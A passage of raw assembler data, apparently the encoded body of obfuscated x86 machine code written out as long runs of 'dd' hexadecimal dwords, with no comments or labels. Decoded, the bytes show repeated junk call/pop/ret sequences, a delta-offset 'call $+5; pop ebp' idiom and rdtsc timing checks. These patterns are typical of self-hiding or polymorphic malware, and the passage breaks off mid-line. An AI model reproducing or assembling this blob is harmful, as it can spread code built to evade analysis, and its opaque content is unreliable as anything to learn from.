855732F8h, 0F18B90B2h dd 6A9050h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 0EDDE23C3h, 0DED7811Bh, 0FF67F4CEh, 0E92E2595h dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 7A041FBEh, 0F2B70F0Fh, 0C858D8Dh, 6A05E9h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 7A338BC3h, 4870Fh, 0BE660000h, 1C7C0D7h, 0 dd 5820Fh, 38BE0000h, 0F72B2A3h, 41C7F3B7h, 4, 0D7816600h dd 0B53106E4h, 5E924ADh, 840FC00Bh, 76h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Bh, 0D1C35141h, 51467290h dd 2970A987h, 0E913CDB5h, 6D8D8D05h, 6A05E94Eh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 0B878C355h, 5, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 35C35242h, 0A9C7421Eh, 0BF66E1FFh, 8D8D8909h, 5E90C85h dd 13E9h, 68151E00h, 0D29C04E9h, 0A68EBD55h, 0AAF08318h dd 7EEED8B1h, 727C01C7h, 8B6644AAh, 0CB0181FAh, 661499CFh dd 41C7FA8Bh, 78753C04h, 0BEFA8BCEh, 44AA2E43h, 10044181h dd 0F31D6D7h, 38Ah, 0F9B70F00h, 6A006Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 1F2C4C3h dd 0D68110B4h, 788C5AF9h, 0C85858Dh, 6A05E9h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0C512B2C3h dd 50517968h, 59B58BEAh, 0F805E924h, 2BE6690h, 0EEBF5043h dd 9026194Ch, 810Fh, 8E90000h, 71000000h, 0C9A193DEh, 0FF02634Eh dd 0E92E2595h, 0B1B58B05h, 8D05E926h, 0E90C858Dh, 0D5BD8905h dd 0C705E930h, 1, 0EE900h, 75860000h, 5D4AF1C5h, 0F6688C38h dd 8160D8E3h, 441C7h, 52000000h, 5FF8B70Fh, 840FC00Bh dd 48h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h dd 0B4C35040h, 1C4FE862h, 0D5B58B1Ch, 8D05E917h, 0E94E6D8Dh dd 0C1B58B05h, 6605E904h, 90DFCF81h, 5B8h, 0BDBD2300h dd 0FF05E91Eh, 0F6B70FE1h, 0C858D8Dh, 6A05E9h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0E94814C3h, 0Fh, 8C5A9722h, 49B85E92h, 0F691CC76h, 0C7DBC82Ah dd 0CA95A501h, 0CB018154h, 6A1499CFh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 1165C356h dd 18874A03h, 668C29AAh, 0C73097BEh, 59690441h, 8166CE5Fh dd 81E66EEEh, 0D7100441h, 0B96031D6h, 246D9358h, 81CA8057h dd 0B58B615Bh, 5E91D61h, 0F78B006Ah, 86BA9BBEh, 85858D2Dh dd 6A05E90Ch, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 31E4C356h, 5DE8B81h, 13E950h dd 15610000h, 76EDBBA1h, 855B3C88h, 0B9F54BFEh, 1F6C1A3Ch dd 24048922h, 0AE8h, 0F50E2800h, 91666E8Eh, 66DED948h dd 0FF5EF08Bh, 0E92E2595h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 8D8DF44Bh dd 5E90C85h, 7BC68166h, 1C7AEh, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0D027C351h dd 10FDBD29h, 0CF8105E9h, 5024250Eh, 441C7h, 89000000h dd 0E91EC9BDh, 0FC00B05h, 7484h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 628077ACh dd 0E05BD8Bh, 8D8D05E9h, 5E94E6Dh, 0DE8h, 6E6EC600h, 676FBE06h dd 582490D3h, 0B85FC138h, 5, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 6DC35242h, 964442DDh, 3397E74Ch dd 0E92F91B5h, 8BE1FF05h, 0E92B21BDh, 0E9CA0305h, 0FFFFF369h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0B2C35545h dd 0FE9C18Bh, 76000000h, 0DFB8A45Fh, 57BD7484h, 23096656h dd 89602C8Eh, 0E90C05BDh, 259D2305h, 6105E90Ch, 4EBh, 0B58B0000h dd 5E92375h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 60C35141h, 704C9951h, 0B0FEE8ABh, 6118589h, 858D05E9h dd 5E921E5h, 800F52h, 5E000000h, 18C0Fh, 50F90000h, 489F78Bh dd 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 69A70DA0h, 0DDA6CD3Fh, 6A338Dh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 4CC35242h, 0D6E0AEBBh dd 14E8h, 8FA09500h, 0ED6E177Dh, 47E12E6Bh, 0B4A933D0h dd 0A6017478h, 5EF18B19h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 979828C3h, 0E9423EF0h dd 0Fh, 9EE942E0h, 3084ABFCh, 83DF0DE8h, 660D9DE9h, 8D310EBEh dd 0ECEAFC85h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 70DD7B08h, 66405F32h dd 83AE75BEh, 0BD8905C0h, 5E90479h, 0AE850h, 5EA40000h dd 578C159Ah, 0DB13866Fh, 0AE9h, 0F8DAC200h, 7F571Ch, 5E05074Bh dd 6A240489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 171FC351h, 0D586D9E0h, 0DEF1F1DAh dd 31F1B58Bh, 6A05E9h, 2A39B58Bh, 6A05E9h, 7DBE6657h, 95FF5E7Ah dd 5E90AA1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 45C35040h, 0BD8970B2h, 5E91F05h, 0ADBF9D8Dh, 6A05ECh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 26FCABC3h, 104DB58Bh, 0D3FF05E9h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 0B7C35343h, 772C5Ah, 0BDA6AD13h dd 2E05BD09h, 0B58B05E9h, 5E91C99h, 68985FFh, 6A05E9h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 999C21C3h, 8B66D7A1h, 6830FF0h, 89000000h, 0E919498Dh dd 8E5E905h, 0E80000h, 5D000000h, 0EB06ED81h, 0CEBE05ECh dd 8163A251h, 0E9243DBDh, 7D005h, 53860F00h, 6A000001h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 7A4C350h, 85BD8914h, 8B05E931h, 0E901E59Dh dd 0E38105h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 0D6CBC355h, 3820F81h dd 66000000h, 0DB0BF78Bh, 78850Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 3BCC40C3h dd 0B685E3F9h, 0BD838C1Fh, 5ECE8C1h, 0B840F00h, 66000000h dd 66E9F38Bh, 66000000h, 85C7F78Bh, 5ECE8C1h, 1, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 9AC35545h, 4A072A2Fh dd 5CCD6D93h, 0E9F28B66h, 2Dh, 19DBD01h, 85C705E9h, 5ECE8C1h dd 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 83C35646h dd 0E59D8DA3h, 6A05E901h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 905DC356h, 0D2F0BBCEh dd 0BE42BD41h, 152BA67Fh, 31B5B503h, 238105E9h, 0FFFFFEFFh dd 0EE8h, 5F986000h, 0C9BD1E56h, 9BD78A12h, 817475FFh dd 4DFEED6h, 8C665E6Fh, 0ADB58BDBh, 0F605E90Ah, 840F04C3h dd 47h, 0BED95FFh, 6A05E9h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 0BFA1F1C3h, 0D3D15803h dd 0B5038FDAh, 5E93075h, 0F78B6690h, 8B0F50h, 90000000h dd 0EF86C681h, 81663DB6h, 0E92966E6h, 399h, 22AD8501h dd 853105E9h, 5E90919h, 6A00B0h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 0C96090C3h, 2970E69Fh dd 0E90DC185h, 6A71E405h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 0E2BEC350h, 0A6293429h dd 0B60F1CB1h, 48EDBED8h, 6BA41E9h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 6EF4C351h, 91062B2Ch, 0F6B70FE8h, 870Fh, 0C38B0000h dd 0C1F28B66h, 13E904E8h, 0B8000000h, 2B6499B9h, 3710A5DEh dd 0F0A9071Fh, 7B293350h, 0F766B30Ch, 0F99D29E2h, 2B05E92Bh dd 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 15B58B7Dh, 0F05E932h, 87h, 0F3B70F00h, 0C916BE50h dd 1C8953DBh, 71B58924h, 0FF05E912h, 0E9243DB5h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 0B2C4A46Bh, 0F1B70F57h, 9595FF5Eh, 6605E91Eh, 2B60C681h dd 4BE00B0h, 0E67DAB57h, 50006A70h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 909A6B59h, 0B58BD405h dd 5E904CDh, 6A71E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 4A0F0EC3h, 51B53160h, 8B05E905h dd 0E9022195h, 0F08B6105h, 830F613Ch, 205h, 7F3B38BEh dd 0D8B60F5Bh, 9CE8166h, 6BA9Bh, 860F0000h, 0 dd 0C38BF38Bh, 6A04E8C1h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 9B14C352h, 0F31F11Ah dd 58Ch, 5A27BE00h, 0DE81766Dh, 64E3CB45h, 6AE2F766h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 0A704C356h, 6AD82BF6h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 0DC1CC350h, 8166B72Dh dd 583C00F6h, 880FD82Bh, 165h, 0F1858960h, 8005E905h, 0B9617ECEh dd 7, 0B4D8529h, 0C18305E9h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 95BFA3D2h dd 667D8FA0h, 5964F681h, 860FD93Bh, 11Dh, 25559D89h, 8C6605E9h dd 8E9D9h, 0C3DB0000h, 0C9C66D62h, 0C1F69E75h, 0D9840F04h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 0FFACC352h, 4A0BEC1Ch, 0BED95FFh dd 950905E9h, 5E91061h, 56006A5Bh, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 899D50Fh, 0C3C68166h dd 4BE66F0h, 6AC32B95h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 88CCC352h, 0F509CA2h dd 0ACD17B7Ch, 8529F28Bh, 5E92D09h, 8343Dh, 49860F00h dd 60000000h, 0AE8h, 1B47A200h, 0C77D3FD9h, 8B1C15EAh dd 0E9615BCEh, 55h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 6CC35545h, 0F6F746Eh, 689h, 4DBD8900h dd 6605E926h, 0C9B7C681h, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 0A46055C3h, 0E8C68A9Bh dd 8BC38B33h, 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 0BD85C749h, 7305E926h, 8B118D15h dd 0E90D9DB5h, 6AC08B05h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 699FC350h, 0A9EB6847h dd 0F88D5BCh, 68Eh, 0A9B58900h, 8B05E90Bh, 47BABEF3h, 0BD814B22h dd 5E9243Dh, 7D0h, 22850Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 85FF73C3h dd 5E9243Dh, 243DB5FFh, 0BF0F05E9h, 9595FFF2h, 6A05E91Eh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 4B64C353h, 31CDE04Bh, 81609188h, 392EE3D1h dd 2D958934h, 6105E912h, 6AD88B90h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 2410C357h dd 0B18589D8h, 8305E905h, 0E91EDDBDh, 840F0005h, 4Fh, 68A0F60h dd 29000000h, 0E90B6995h, 0F3816605h, 0E9612C7Ah, 13h dd 0EAB0344Ah, 419E3468h, 2EB18851h, 0F6F79B8Fh, 0E9E45800h dd 210h, 0FE8h, 87E26400h, 910CC1A0h, 658103B6h, 71E0FFA0h dd 4820Fh, 0BE660000h, 8C5E799Eh, 0F28B66DFh, 4C7F766h dd 0E1850F00h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 0AAFFC355h, 295D08C6h dd 0E90F21B5h, 0FFF2B05h, 683h, 55B52300h, 8D05E918h, 0ECF36C9Dh dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 0AE4AB809h, 407212C1h, 60501D6Ch, 14E9h dd 213B5400h, 0D05F0217h, 0D284BD3Bh, 8D2D028Dh, 2682E603h dd 0BBE66D6h, 1C89611Ah, 51006A24h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1404h, 0C3514100h, 35FF645Eh, 0 dd 32858D89h, 896405E9h, 25h, 8BF78B00h, 55006AC4h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 56BCD408h, 0BE66CBADh, 8B666019h, 0EB01CDF7h, 0B523F800h dd 5E91649h, 0F96ACBBEh, 7E918h, 48880000h, 714AFD76h dd 58F6417h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 77C35242h dd 0E9F09F73h, 12h, 92E1F3CBh, 25326681h, 1EE1C7CAh, 78D38F56h dd 0C483EF0Dh, 0F08B6604h, 0E8EEC681h, 0C00B7B07h, 96840Fh dd 0BD8D0000h, 5E94E6Dh, 3A9B529h, 5B805E9h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 0C94EC352h, 888EE78Dh, 8589D024h, 5E92831h dd 0E01DDE81h, 0E7FF58E7h, 71D3C8BEh, 5C8B5736h, 838B1024h dd 0B8h, 140B60Fh, 8389C8FEh, 0B0h, 0B88383h, 5F020000h dd 6AC3C033h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 666EC350h, 0B433C681h, 8BF3B70Fh dd 0E91D15B5h, 0F2BF0F05h, 3FE9CA2Bh, 6AFFFFF7h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 0C206C356h, 0CCF681EDh, 8B74188Ch, 218509C1h, 0EB05E90Ch dd 4, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 54F50C65h, 5C6842D9h, 0BD8BC80Fh dd 5E90DF9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 66C35343h, 913BE487h, 8DFC37CBh, 0E921E585h, 0FDB58905h dd 0F905E932h, 6E890h, 34E80000h, 0ED6DB31Eh, 52505250h dd 585A310Fh, 8B66310Fh, 5E585AF7h, 1BA2BE50h, 0F8903F5Dh dd 0BD8B006Ah, 5E92519h, 0BD8B006Ah, 5E91221h, 0F4D4858Dh dd 0C08305ECh, 0F19D8905h, 9005E924h, 9050F28Bh, 5E9006Ah dd 0E9000000h, 0CD4F7FACh, 95FF006Ah, 5E90AA1h, 0AE9h dd 57E78C00h, 60295660h, 8D4B9328h, 0ECADBF9Dh, 0F28B6605h dd 0FD8CE681h, 0D3FF72CAh, 0FFF9BF0Fh, 0E9068985h, 923E905h dd 0E80000h, 5D000000h, 0F4DEED81h, 0C68105ECh, 7D30A62Ah dd 243DBD81h, 7D005E9h, 860F0000h, 137h, 253D8D89h, 9D8B05E9h dd 5E91079h, 81F2BF0Fh, 100E3h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0C8539E36h dd 0BFB8B66h, 9E850FDBh, 8B000000h, 0E91119B5h, 0F0BD8305h dd 5ECF3h, 33840Fh, 33600000h, 0E90CCD8Dh, 5E905h, 25090000h dd 6155251Fh, 95E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 0F085C705h, 105ECF3h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 6424C350h, 0E1B53314h, 0E905E917h dd 46h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh dd 53C35141h, 0F0D8D3EFh, 705BA9h, 0F085C712h, 5ECF3h dd 0E8000000h, 9, 0E194C4D6h, 4EF7836Dh, 0B5335281h, 5E91D95h dd 9D8D5F5Eh, 5E91079h, 193D8D89h, 238105E9h, 0FFFFFEFFh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 60C35343h dd 83397522h, 0EDBD8BA3h, 6605E900h, 6ADB8Ch, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 508963C3h dd 3FCE8172h, 0F6174029h, 840F04C3h, 53h, 0E1C35CBEh, 0ED95FF61h dd 6005E90Bh, 2DF9BD8Bh, 0BD8B05E9h, 5E907BDh, 0F9BF0F61h dd 0F525090h, 488h, 13BF6600h, 66310F4Fh, 5AF917BFh, 5F575058h dd 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 0E9F84232h, 526h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 40C35040h, 87F8F32h, 7E9h dd 924BCD00h, 260AC873h, 6A00B0h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 0A1DB29C3h, 0AD9D4901h dd 0E4E78100h, 0E65AEE21h, 52006A70h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0C074CB6h dd 8908D39Fh, 0E906A5BDh, 6A71E405h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 280CC352h dd 633F1F9Fh, 4EDE81BDh, 0F49577Dh, 6AD8B6h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 424EE6C3h dd 0CD07A97h, 8F0F5376h, 2, 0BA5F5F51h, 6, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 2C35040h, 8BF88B8Bh dd 57006AC3h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 7E155C6Eh, 0AA6A2385h, 658D8903h, 0F05E906h dd 0E8C1FEBFh, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 0FAE468BAh, 8BBA26DEh dd 0E92C15BDh, 3DB58B05h, 6605E930h, 0BE66E2F7h, 0D82B32D5h dd 31099589h, 8E905E9h, 28000000h, 0F17C8DFCh, 501FCF63h dd 0BE85250h, 0DA000000h, 8FCFD3B4h, 72879432h, 61601FA3h dd 66310F5Fh, 5A7A11BEh, 241C8958h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 30C35747h, 0C8FC75F7h, 89BD03EDh dd 0FF05E919h, 0E9243DB5h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 9DC88C98h dd 27BF6516h, 0AE97C5Ah, 77000000h, 0D8EB2943h, 2B9D2798h dd 9595FFD1h, 2905E91Eh, 0E91751B5h, 6A00B005h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 5A20C352h, 607E6A2Fh, 0FF28B66h, 38Ah, 0C9B70F00h, 6DB58B61h dd 0E605E923h, 56006A70h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 0C0553716h, 0E56D1BFBh dd 0E4F38BF8h, 55006A71h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 2A49979h, 4107479Eh, 6820F98h dd 9000000h, 0E9196D9Dh, 0F613C05h, 28583h, 0F9B58B00h dd 0F05E903h, 0CF81D8B6h, 47EC0687h, 6BAh, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 0DA093F45h, 0C38BC6FDh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 0D7C35040h, 0F3BF0FEAh, 1D3DBD8Bh, 0E8C105E9h dd 50006A04h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 0AC39B4F8h, 0BFE26C2Fh, 2907A1h, 0EF1BD8Bh dd 0F76605E9h, 0D82BFCE2h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 0FEC35040h, 747BF4BEh, 0FE912h, 29C20000h dd 0BC791D54h, 11335805h, 0EC4540E1h, 0A0BF5882h, 2B1DA7EAh dd 0AF880FD8h, 6A000001h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 9B46C351h, 6E83Ch dd 0B6980000h, 19229C34h, 32AD9509h, 0B95F05E9h, 7, 0E8FEB70Fh dd 0Ah, 51B4D0B2h, 484ECC85h, 13E803CCh, 64000000h, 0E1F487F6h dd 0AB28A8CDh, 0CBFFF1C0h, 0BC8B0F35h, 8D09263Fh, 5E92C1Dh dd 0C1835F5Eh, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 0A480A937h, 45B58B3Bh dd 3B05E92Dh, 17860FD9h, 0E9000001h, 0Ch, 8F13BA3Bh, 0AA7FE1B6h dd 36C25946h dd 60D98C66h, 0EEF0CEBBh, 0C1F66101h, 0EA840F04h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0C862C356h, 4E99F303h, 0FFB14F33h, 0E90BED95h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 0C4542A8Ah, 610727E2h, 9589C38Ch, 5E907FDh dd 0E195315Bh, 905E90Ch, 0E900B98Dh, 6AC32B05h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 8D6C355h, 3D02C9CDh, 834h, 5B860Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 325F54C3h, 0BEA830C4h, 604B687Dh, 6870Fh, 9D890000h dd 5E90FC1h, 2DE9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 0A4CE838Eh, 0ED925579h dd 8BC08BA7h, 0E91D45B5h, 0C38BFC05h, 0DBFD88Bh, 0C7519EB7h dd 0E901E585h, 44377905h, 50006A1Eh, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 3DBE666Ch dd 6AC08BCEh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 0C7FFC357h, 0FFA5479Ch, 89605F1Fh dd 0E922ED85h, 61F28B05h, 243DBD81h, 7D005E9h, 850F0000h dd 13h, 0C81B529h, 85FF05E9h, 5E9243Dh, 0B5DE81F8h, 0FF096127h dd 0E9243DB5h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 60C9ABEFh, 0BD897688h dd 5E910DDh, 1E9595FFh, 6A05E9h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 0E39B6C3h, 0F3CFE7B4h dd 0FE013A5h, 787h, 1810F00h, 0F8000000h, 90F6B70Fh, 0E8F28B66h dd 5, 0A47804D5h, 42BF66F3h, 0FB8B5E30h, 3129B503h, 0BD8B05E9h dd 5E91F45h, 31FDBD8Bh, 0BD8B05E9h, 5E90E0Dh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 37C35545h, 6AA2A052h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 2639C355h, 6AA49053h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 942EC352h dd 283793h, 0FBCA79Ah, 0E88h, 9E900h, 0BE530000h, 4BE0D912h dd 0FB4C7A7h, 0B84h, 0CF816600h, 0B5298D7Eh, 5E91985h dd 2C1B58Bh, 0BD8B05E9h, 5E9077Dh, 2775BD01h, 6A05E9h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 7D3620C3h, 0AB680778h, 81661680h, 51D05CC6h, 6810Fh dd 0BD890000h, 5E921E1h, 51006A5Fh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 8D8977D0h, 5E91F3Dh, 92C1D0BEh dd 0F6E0E91Ah, 8BF9FFFFh, 0EBC18BF9h, 4, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 23220E7Fh, 66536C19h, 1DC9D781h, 5890F5Fh, 0BE000000h dd 259C049Dh, 21E5858Dh, 7E905E9h, 0C2000000h, 2DEF8D41h dd 0BE503018h, 4565F831h, 6A240489h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 8FA5C350h dd 0CF275AA8h, 0B58BFE33h, 5E91759h, 3129B52Bh, 6A05E9h dd 48C0Fh, 0BE660000h, 6A410Ch, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 2CC35343h, 3E8DD63Fh, 0FFC9858Dh dd 6A05ECh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0B7E1FEC3h, 66AA7107h, 83C61BBEh, 6A05C0h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 25AF04C3h, 0BA878C65h, 50905A07h, 5EF08B66h, 0CE950h dd 22AD0000h, 1CF4D400h, 90230BB3h, 0FC90D314h, 6A006Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 24D225C3h, 22C68166h, 6A006AC6h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0CB36C350h dd 0B45C3F72h, 0FF6BDCDh, 687h, 0F9850100h, 0FF05E903h dd 0E90AA195h, 68D0F05h, 89000000h, 0E92E4D85h, 0BF9D8D05h dd 6A05ECADh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 0F2E4C350h, 89B19161h, 0E9123995h dd 51D3FF05h, 1CC7BE66h, 0C7CE815Eh, 0FF329BFEh, 0E9068985h dd 8515BF05h, 0DFE969D7h, 0E8000007h, 0 dd 0D3ED815Dh, 8105ECFFh, 0E9243DBDh, 7D005h, 29860F00h dd 0F000001h, 68Ch, 59852900h, 8B05E911h, 0E900899Dh, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0E3818831h, 100h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 2BC35242h, 60EC430Ch, 0B58B6B95h, 5E90681h dd 850FDB0Bh, 6Bh, 0DA98531h, 0BD8305E9h, 5ECFE00h, 33840F00h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 0BE8FC351h, 0E8EF42B6h, 721A8292h dd 0E9F08B66h, 35h, 0FBD8D29h, 85C705E9h, 5ECFE00h, 1 dd 2F15B523h, 1AE905E9h, 0E9000000h, 0Bh, 88B34B6Ch, 0D85EB253h dd 0C7269395h, 0ECFE0085h, 5, 899D8D00h, 6A05E900h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 0B0AEC355h, 2381A784h, 0FFFFFEFFh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 63C35545h, 8FBC7BF9h, 0F78B6659h dd 0FDB8C66h, 586h, 0F719BF00h, 0C3F61258h, 61840F04h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 669CC352h, 0BF09C1E7h, 7D58D00Ch dd 0BED95FFh, 8CBF05E9h, 906649B6h, 0FE8B6650h, 52006A90h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 3F60F617h, 5350A87Ah, 6559D31h, 5F5F05E9h, 400E9h, 